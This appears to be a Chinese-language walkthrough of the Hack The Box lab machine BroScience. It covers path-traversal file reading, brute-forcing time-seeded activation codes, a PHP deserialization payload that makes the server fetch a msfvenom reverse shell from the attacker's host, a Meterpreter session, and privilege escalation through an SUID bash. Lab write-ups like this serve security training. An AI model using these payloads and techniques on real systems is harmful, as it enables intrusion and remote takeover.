hackthebox-BroScience writeup
信息搜集
└─# nmap 10.10.11.195 -sV -sC
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 11:48 CST
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 11:49 (0:00:07 remaining)
Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.05% done; ETC: 11:49 (0:00:00 remaining)
Stats: 0:00:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.05% done; ETC: 11:49 (0:00:00 remaining)
Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.76% done; ETC: 11:49 (0:00:00 remaining)
Nmap scan report for 10.10.11.195
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp a open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| tls-alpn:
|_ http/1.1
|_http-title: BroScience : Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.83 seconds
将 broscience.htb 添加到hosts。
└─# echo '10.10.11.195 broscience.htb' >> /etc/hosts
在页面上发现了登录功能,注册个账号
当我们尝试登录时,得到该帐户尚未激活,因此我们需要激活该帐户。
发现了一个activate.php 页面
使用arjun工具尝试爆破参数的名字
└─# arjun -u https://broscience.htb/activate.php?
_
/_| _ '
( |/ /(//) v2.2.1
_/
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[*] Logicforcing the URL endpoint
[✓] parameter detected: code, based on: body length
[+] Parameters found: code
发现了code参数,但是没啥用。。。。我通过dirsearch 进行目录扫描,发现includes 目录 可以直接访问文件
└─# dirsearch -u https://broscience.htb/ -e php
当我尝试目录穿越的时候,发现了拦截行为
通过双重url编码进行绕过,可以读取任意文件
读一下 activate.php,这样我们就可以看到如何为每个用户生成激活码。
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row+
+[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
?>
<html>
<head>
<title>BroScience : Activate account</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
</div>
</body>
</html>
看起来激活码是 32 个字符。在 register.php 中看看它是如何生成的。
...
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
...
可以看到调用了这个php文件的函数
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
继续读一下includes/utils.php文件
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
...
这个时候我们问一下chatgpt 这个函数是如何运行的
这是一个使用 PHP 编写的函数,用于生成一个由32个随机字母和数字组成的激活码。下面是函数的具体步骤:
1. $chars 是一个包含所有可能的激活码字符的字符串,其中包括所有英文字母的小写和大写形式,以及数字0到9。
2. srand(time()) 用当前时间作为种子,初始化随机数生成器,确保每次调用函数时生成的随机数序列都不同。
3. $activation_code 被初始化为空字符串。
4. 函数使用 for 循环迭代32次。在每次迭代中,函数从 $chars 中选择一个随机字符并将其附加到 $activation_code。
5. rand(0, strlen($chars) - 1) 生成一个介于0和 $chars 长度减1之间的随机整数。这个整数用于选择 $chars 中的一个随机字符。
6. 最终的激活码是一个由32个随机字母和数字组成的字符串,由函数返回。
总的来说,这个函数可以用于生成各种唯一的激活码,例如验证用户账户或激活软件许可证等。
使用 burp 获取发布用户注册请求的时间,然后模拟生成激活码
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Mon, 20 Feb 2023 09:31:56 GMT"));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;
}
generate_activation_code();
尝试运行一下,拿到激活码
D:phpstudy_proWWW>php 1.php
u4KQywP7DF7rdUqy4DSQow3tIzP0AsLs
但是反反复复一直是激活失败,最终在社区求助大佬才解决问题
新代码生成了±10 ms的激活码,解决误差问题
<?php
function generate_activation_code($time_value) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($time_value);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$t = 1673187305; // insert your timestamp here
for ($j = $t-10; $j < $t+10; $j++) {
echo "rn";
echo generate_activation_code($j);
}
使用python 编写脚本 发送激活请求
import requests
import warnings
import tqdm
warnings.filterwarnings('ignore')
with open("codes.txt", "r") as infile: # read all generated activation codes
codes = infile.readlines()
with tqdm.tqdm(total=len(codes)) as pbar:
for code in codes:
result = requests.get(f'https://broscience.htb/activate.php?code={code.strip()}', verify=False)
if 'Invalid' not in result.text:
pbar.write(f"Activated with {code.strip()}")
break
pbar.update()
└─# python3 exp.py
Activated with C3MIEqGPcNgB4wCxQb9rMVXrsx8GYpUP
52%|████████████████████▉ | 11/21 [00:15<00:14, 1.45s/it]
登录成功后,我们可以看到设置了一个新的 cookie。在做了一些源代码分析后发现, cookie 是通过序列化技术生成的,它存储有关主题和状态的信息。
avatar 类有一个参数 img path 用于指向图像的路径,一个 tmp 参数打开 img 并将其内容保存在服务器上。这可以实现任意文件上传。
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
使用msfvenom生成反弹shell的php文件
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=4444 -f raw -o shelly.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
Saved as: shelly.php
生成反序列化的payload
<?php
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = new AvatarInterface();
$payload->tmp = 'http://10.10.16.3/shelly.php';
$payload->imgPath = '/var/www/html/shelly.php';
$payload = base64_encode(serialize($payload));
echo $payload;
└─# php 1.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyODoiaHR0cDovLzEwLjEwLjE2LjMvc2hlbGx5LnBocCI7czo3OiJpbWdQYXRoIjtzOjI0OiIvdmFyL3d3dy9odG1sL3NoZWxseS5waHAiO30=
修改cookie后,进行反弹shell
msf6 exploit(multi/handler) > set lhost 10.10.16.4
lhost => 10.10.16.4
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.4:4444
[*] Sending stage (39927 bytes) to 10.10.11.195
[*] Meterpreter session 7 opened (10.10.16.4:4444 -> 10.10.11.195:50322) at 2023-02-23 11:43:41 +0800
meterpreter >
通过shell命令得到交互shell,通过python得到更好的稳定shell
meterpreter > shell
Process 100864 created.
Channel 7 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
#通过python得到bash会话
python3 -c 'import pty;pty.spawn("/bin/bash")'
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
寻找suid命令
bash-5.1$ find / -perm -u=s -type f 2>/dev/null
==============================
命令拆解
find / 从根目录开始查找
-perm -u=s 具有suid权限
-type f 查找普通文件
2>/dev/null 不输出错误信息
==============================
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/chsh
/usr/libexec/polkit-agent-helper-1
通过bash -p拿到root权限
bash-5.1$ bash -p
bash -p
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bash-5.1# whoami
whoami
root
cat /root/root.txt
0b14594b859...
bash-5.1# cat /home/bill/user.txt
cat /home/bill/user.txt
26aa413aeb5...
bash-5.1#
原文始发于微信公众号(靶机狂魔):hackthebox-BroScience
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论